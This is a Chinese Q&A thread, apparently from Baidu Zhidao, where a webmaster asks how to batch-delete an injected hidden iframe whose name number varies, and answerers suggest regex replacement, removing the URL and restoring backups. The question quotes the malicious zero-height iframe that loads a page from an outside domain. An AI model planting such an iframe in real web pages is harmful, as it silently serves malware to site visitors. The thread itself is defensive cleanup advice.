今天遇到挂马高手了，谁有办法？

来源：百度知道 编辑：UC知道 时间：2024/07/02 05:03:24
<ifRame src=http://www.zghNcsl.cN/oNe/a26.htm wiDth=50 heighT=0 name=6325 border=0></iframe>

以前遇到这样的，都可以用字符替换批量删除，今天遇到这个伙计太让我佩服了。居然每个挂马ID都不一样，谁有高招批量删除？

我说的不一样的地方上面的6325不一样。一个马一个数。

用Replace Pioneer的Tools->Batch Runner菜单，

* 点击Pick Files选择多个待替换的文件。
* 然后用Fast Replace功能，点击Add,
* 在Find填<ifRame src=http:\/\/www.zghNcsl.cN\/oNe\/a26.htm wiDth=50 heighT=0 name=\d+ border=0><\/iframe>
* 在Replace不填表示替换成空。
* 选中Ignore case 选项忽略大小写
* 然后批量替换就可以了。

注意：
1．首先要做好备份。
2．原字符串的/都写成\/,数字6325用\d+代替。
3．Replace Pioneer下载
http://www.mind-pioneer.com/replace/Download.html

把6325那儿用*代替的批量删除

简单。
只要替换掉 http://www.zghNcsl.cN/oNe/a26.htm 就行了，
其他的都不起作用的。

他是随机给弄的，所以每天的都不一样，我的办法是备份了一份没有毒的，只要他挂，我重新上传把他覆盖了就好了，不过这样的天天弄，主要还是找出程序的漏洞给补上